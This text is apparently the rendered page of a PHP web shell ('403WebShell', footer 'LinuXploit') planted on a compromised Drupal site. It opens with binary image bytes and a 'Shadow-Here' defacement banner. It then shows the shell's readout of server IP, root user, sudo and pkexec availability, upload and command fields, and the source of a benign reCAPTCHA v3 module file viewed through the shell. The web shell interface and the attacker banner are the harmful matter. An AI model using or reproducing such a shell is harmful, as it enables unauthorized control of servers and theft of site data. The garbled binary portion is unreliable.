RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/modules/contrib/recaptcha_v3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/modules/contrib/recaptcha_v3/recaptcha_v3.module
<?php

/**
 * @file
 * Contains recaptcha_v3.module.
 */

use Drupal\Component\Utility\Html;
use Drupal\Core\Ajax\AjaxResponse;
use Drupal\Core\Ajax\ReplaceCommand;
use Drupal\recaptcha_v3\Entity\ReCaptchaV3Action;
use Drupal\Core\Form\FormStateInterface;
use Drupal\Core\Routing\RouteMatchInterface;
use Drupal\recaptcha_v3\ReCaptchaV3ActionInterface;
use ReCaptcha\ReCaptcha;
use ReCaptcha\RequestMethod\CurlPost;

/**
 * Implements hook_help().
 */
function recaptcha_v3_help($route_name, RouteMatchInterface $route_match) {
  switch ($route_name) {
    // Main module help for the recaptcha_v3 module.
    case 'help.page.recaptcha_v3':
      $output = '';
      $output .= '<h3>' . t('About') . '</h3>';
      $output .= '<p>' . t('reCAPTCHA v3 returns a score for each request without user friction. The score is based on interactions with your site and enables you to take an appropriate action for your site.') . '</p>';
      $output .= '<h3>' . t('Configuration') . '</h3>';
      $output .= '<p>' . t('At first you need to create at least one action: populate action name<sup>1</sup>, choose score threshold<sup>2</sup> and select action on user verification fail<sup>3</sup>.') . '</p>';
      $output .= '<ol>';
      $output .= '<li>' . t('reCAPTCHA v3 introduces a new concept: actions. Actions name will be displayed in detailed break-down of data for your top ten actions in the <a href=":url" target="_blank">admin console</a>', [':url' => 'https://www.google.com/recaptcha/admin']) . '</li>';
      $output .= '<li>' . t('reCAPTCHA v3 returns a score (1.0 is very likely a good interaction, 0.0 is very likely a bot). Based on the score, you can take variable action in the context of your site.') . '</li>';
      $output .= '<li>' . t('You could specify additional validation challenge, for failed recaptcha v3 validations. If you leave empty "Default challenge type" and "Challenge" for concrete action, user could not submit form if his validation failed.') . '</li>';
      $output .= '</ol>';
      return $output;
  }
}

/**
 * Implements hook_theme().
 */
function recaptcha_v3_theme() {
  return [
    'captcha__recaptcha_v3' => [
      'base hook' => 'captcha',
    ],
  ];
}

/**
 * Implements hook_theme_suggestions_HOOK().
 */
function recaptcha_v3_theme_suggestions_captcha(array $variables) {
  $suggestions = [];
  if (!empty($variables['element']['captcha_widgets']['captcha_response']['#recaptcha_v3'])) {
    $suggestions[] = 'captcha__recaptcha_v3';
  }

  return $suggestions;
}

/**
 * Implements hook_library_info_alter().
 */
function recaptcha_v3_library_info_alter(&$libraries, $extension) {
  if ($extension === 'recaptcha_v3' && isset($libraries['google.recaptcha'])) {
    $config = \Drupal::config('recaptcha_v3.settings');

    $api_url = array_keys($libraries['google.recaptcha']['js']);
    $api_url = array_shift($api_url);

    if ($config->get('library_use_recaptcha_net')) {
      // Load from recaptcha.net instead of google.com.
      $parsed_api_url = parse_url($api_url);
      $parsed_api_url['host'] = 'www.recaptcha.net';
      $api_url = $parsed_api_url['scheme'] . '://' . $parsed_api_url['host'] . $parsed_api_url['path'];
    }

    $site_key = $config->get('site_key');
    $key = $api_url . '?render=' . $site_key;
    $js = array_shift($libraries['google.recaptcha']['js']);
    $libraries['google.recaptcha']['js'][$key] = $js;
  }
}

/**
 * Implements hook_element_info_alter().
 *
 * Place recaptcha v3 preprocess function at the beginning, so in this way
 * it is possible to verify captcha and in case of fail, replace it by
 * fallback captcha challenge.
 *
 * Add one more process function to the end to display recaptcha_v3 error if
 * happens.
 */
function recaptcha_v3_element_info_alter(array &$info) {
  array_unshift($info['captcha']['#process'], 'recaptcha_v3_pre_captcha_element_process');
  $info['captcha']['#process'][] = 'recaptcha_v3_post_captcha_element_process';
}

/**
 * Perform replacing of the recaptcha element by fallback challenge.
 *
 * This happens in two cases:
 *   1. form was submitted
 *   2. performed form API ajax request.
 *
 * @param array $element
 *   The recaptcha v3 form element.
 * @param \Drupal\Core\Form\FormStateInterface $form_state
 *   The recaptcha v3 form state.
 * @param array $complete_form
 *   The recaptcha v3 complete form object.
 *
 * @return array
 *   Set fallback challenge if recaptcha v3 fail.
 */
function recaptcha_v3_pre_captcha_element_process(array &$element, FormStateInterface $form_state, array &$complete_form) {
  // If form is processed input then recaptcha v3 response should be in
  // form values and need replace reCAPTCHA v3 element by fallback
  // challenge before captcha module element process callback, because,
  // otherwise, in case of error, form will not rebuild
  // and recaptcha v3 element will return again.
  if ($form_state->isProcessingInput()) {

    \Drupal::moduleHandler()->loadInclude('captcha', 'inc', 'captcha');
    [$captcha_type_module, $captcha_type_challenge] = _captcha_parse_captcha_type($element['#captcha_type']);

    if ($captcha_type_module === 'recaptcha_v3') {
      $action = ReCaptchaV3Action::load($captcha_type_challenge);
      $challenge = $action ? $action->getChallenge() : 'default';
      // Replacing 'default' challenge by the real captcha challenge.
      if ($challenge === 'default') {
        $challenge = \Drupal::config('recaptcha_v3.settings')
          ->get('default_challenge');
      }

      if ($challenge) {
        $element['#captcha_type'] = $challenge;
      }

      $form_state->setTemporaryValue('recaptcha_v3_action_name', $captcha_type_challenge);
    }
  }
  return $element;
}

/**
 * Implements hook_captcha().
 */
function recaptcha_v3_captcha($op, $captcha_type = '', $captcha_sid = NULL) {
  switch ($op) {
    case 'list':
      return array_keys(ReCaptchaV3Action::loadMultiple());

    case 'generate':
      $captcha = [];
      if ($recaptcha_v3_action = ReCaptchaV3Action::load($captcha_type)) {
        $config = \Drupal::config('recaptcha_v3.settings');
        $captcha['form']['captcha_response'] = [
          '#type' => 'hidden',
          '#default_value' => '',
          '#recaptcha_v3' => TRUE,
          '#attributes' => [
            // Need add id, because element should have id or
            // 'selector' property should exist in #ajax array
            // to attaching event for triggering ajax request.
            'id' => Html::getUniqueId('recaptcha_v3_token'),
            'class' => ['recaptcha-v3-token'],
            'data-recaptcha-v3-action' => $recaptcha_v3_action->id(),
            'data-recaptcha-v3-site-key' => $config->get('site_key'),
          ],
          '#attached' => [
            'library' => [
              'recaptcha_v3/recaptcha_v3',
            ],
          ],
          '#ajax' => [
            'callback' => 'recaptcha_v3_ajax_callback',
            'event' => 'change',
          ],
        ];
        // Flag that indicates that current captcha element is recaptcha_v3.
        $captcha['form']['is_recaptcha_v3'] = [
          '#type' => 'hidden',
          '#value' => 1,
        ];
        if ($config->get('hide_badge')) {
          $captcha['form']['hide_badge'] = [
            '#markup' => t('This site is protected by reCAPTCHA and the Google <a href=":privacy" target="_blank">Privacy Policy</a> and <a href=":terms" target="_blank">Terms of Service</a> apply.', [
              ':privacy' => 'https://policies.google.com/privacy',
              ':terms' => 'https://policies.google.com/terms',
            ]),
            '#attached' => [
              'library' => [
                'recaptcha_v3/recaptcha_v3_no_badge',
              ],
            ],
          ];
        }
        $captcha['solution'] = TRUE;
        $captcha['captcha_validate'] = 'recaptcha_v3_validate';
        $captcha['cacheable'] = (bool) $config->get('cacheable');
      }
      return $captcha;
  }
}

/**
 * Replace #captcha_validate by reCAPTCHA v3 validation function.
 *
 * If real captcha type is reCAPTCHA v3 and it was not yet verify.
 *
 * @param array $element
 *   The recaptcha v3 form element.
 * @param \Drupal\Core\Form\FormStateInterface $form_state
 *   The recaptcha v3 form state.
 * @param array $complete_form
 *   The recaptcha v3 complete form object.
 *
 * @return array
 *   Set recaptcha v3 challenge if not already validated.
 */
function recaptcha_v3_post_captcha_element_process(array &$element, FormStateInterface $form_state, array &$complete_form) {
  // If value exist, then form was submitted.
  if ($form_state->getTemporaryValue('recaptcha_v3_action_name')) {
    $user_input = $form_state->getUserInput();
    // If value is empty, then fallback widget already used and no need to
    // run recaptcha v3 validation.
    if (!empty($user_input['is_recaptcha_v3'])) {
      $element['#captcha_validate'] = 'recaptcha_v3_validate';
    }
  }
  return $element;
}

/**
 * CAPTCHA Callback; Validates the reCAPTCHA v3 code.
 */
function recaptcha_v3_validate($solution, $captcha_response, $element, FormStateInterface $form_state) {
  // Using user input instead of $captcha_response variable, because
  // recaptcha using '#value' form api key for the 'captcha_response' form
  // element:
  // $captcha['form']['captcha_response'] = [
  // '#type' => 'hidden',
  // '#value' => 'Google no captcha', // Problem is here
  // ];
  // So if using recaptcha as fallback challenge, $captcha_response is always
  // have 'Google no captcha' value.
  $user_input = $form_state->getUserInput();
  if (!empty($user_input['captcha_response'])) {
    $captcha_response = $user_input['captcha_response'];
  }

  $captcha_type_challenge = $form_state->getTemporaryValue('recaptcha_v3_action_name');
  /** @var \Drupal\recaptcha_v3\ReCaptchaV3ActionInterface $recaptcha_v3 */
  $recaptcha_v3 = ReCaptchaV3Action::load($captcha_type_challenge) ?? ReCaptchaV3Action::create([
    'id' => '',
    'label' => '',
    'threshold' => 1,
    'challenge' => 'default',
  ]);
  // Verify submitted reCAPTCHA v3 token.
  $verification_response = _recaptcha_v3_verify_captcha_response($recaptcha_v3, $captcha_response);

  if (!$verification_response['success']) {
    // If we here, then token verification failed.
    if ($verification_response['error-codes']) {
      $errors = [];

      $challenge = $recaptcha_v3->getChallenge();
      if ($challenge === 'default') {
        $challenge = \Drupal::config('recaptcha_v3.settings')
          ->get('default_challenge');
      }

      foreach ($verification_response['error-codes'] as $code) {
        // If we have fallback challenge then do not log the threshold errors.
        if ($challenge && $code === 'score-threshold-not-met') {
          continue;
        }
        $errors[] = recaptcha_v3_error_by_code($code);
      }

      if ($errors) {
        $errors_string = implode(' ', $errors);
        \Drupal::logger('recaptcha_v3')->error(
          'Google reCAPTCHA v3 validation failed: @error',
          ['@error' => $errors_string]
        );
      }
    }

    $error_message = \Drupal::config('recaptcha_v3.settings')
      ->get('error_message');
  }

  // If captcha validated, then need to remove error related to the
  // captcha_response element. Otherwise, for example, if fallback is
  // captcha Math we will get error about exceeding input value length due to
  // recaptcha v3 response is much longer than allowed for Math captcha.
  // In another case if we have custom error message, then need to clear
  // all current 'captcha_response' element error messages either.
  if ($verification_response['success'] || !empty($error_message)) {
    $errors = $form_state->getErrors();
    if (isset($errors['captcha_response'])) {
      $form_state->clearErrors();
      foreach ($errors as $name => $error) {
        if ($name !== 'captcha_response') {
          $form_state->setErrorByName($name, $error);
        }
      }
    }
  }

  if (!empty($error_message)) {
    $form_state->setErrorByName('captcha_response', $error_message);
  }

  return (bool) $verification_response['success'];
}

/**
 * AJAX callback; return captcha response.
 *
 * @param array $form
 *   An array of $form.
 * @param \Drupal\Core\Form\FormStateInterface $form_state
 *   The recaptcha v3 form state.
 *
 * @return \Drupal\Core\Ajax\AjaxResponse
 *   Return captcha response.
 */
function recaptcha_v3_ajax_callback(array $form, FormStateInterface $form_state) {
  $response = new AjaxResponse();
  $selector = '#' . $form['#id'] . ' .captcha';
  $response->addCommand(new ReplaceCommand($selector, $form['captcha']));
  return $response;
}

/**
 * Verify captcha response.
 *
 * @param \Drupal\recaptcha_v3\ReCaptchaV3ActionInterface $recaptcha_v_3_action
 *   Fetch the recaptcha v3 action.
 * @param string $captcha_response
 *   Captcha response token.
 *
 * @return array
 *   Return the response from google recaptcha api.
 */
function _recaptcha_v3_verify_captcha_response(ReCaptchaV3ActionInterface $recaptcha_v_3_action, $captcha_response) {
  $request = Drupal::request();
  $config = Drupal::config('recaptcha_v3.settings');
  // Provide ' ' as secret key in case if it is not configured.
  // This will prevent a RuntimeException and log an appropriate error.
  $recaptcha = new ReCaptcha($config->get('secret_key') ?: ' ', function_exists('curl_version') ? new CurlPost() : NULL);

  if ($config->get('verify_hostname')) {
    $recaptcha->setExpectedHostname($request->getHost());
  }

  return $recaptcha->setExpectedAction($recaptcha_v_3_action->id())
    ->setScoreThreshold($recaptcha_v_3_action->getThreshold())
    ->verify($captcha_response, $request->getClientIp())
    ->toArray();
}

/**
 * Return error by code from response.
 *
 * Error code reference, https://developers.google.com/recaptcha/docs/verify.
 *
 * @param string $code
 *   The error code in google api response.
 *
 * @return \Drupal\Core\StringTranslation\TranslatableMarkup
 *   Return an array of error code description.
 */
function recaptcha_v3_error_by_code($code) {
  $error_codes = &drupal_static(__FUNCTION__);
  if (!isset($error_codes)) {
    $error_codes = [
      'timeout-or-duplicate' => t('The response is no longer valid: either is too old or has been used previously.'),
      'bad-request' => t('The request is invalid or malformed.'),
      'missing-input-secret' => t('The secret parameter is missing.'),
      'invalid-input-secret' => t('The secret parameter is invalid or malformed.'),
      'action-mismatch' => t('Expected action did not match.'),
      'apk_package_name-mismatch' => t('Expected APK package name did not match.'),
      'bad-response' => t('Did not receive a 200 from the service.'),
      'challenge-timeout' => t('Challenge timeout.'),
      'connection-failed' => t('Could not connect to service.'),
      'invalid-input-response' => t('The response parameter is invalid or malformed.'),
      'missing-input-response' => t('The response parameter is missing.'),
      'hostname-mismatch' => t('Expected hostname did not match.'),
      'invalid-json' => t('The json response is invalid or malformed.'),
      'score-threshold-not-met' => t('Score threshold not met.'),
      'unknown-error' => t('Not a success, but no error codes received!'),
    ];
  }
  return $error_codes[$code] ?? $error_codes['unknown-error'];
}

Youez - 2016 - github.com/yon3zu
LinuXploit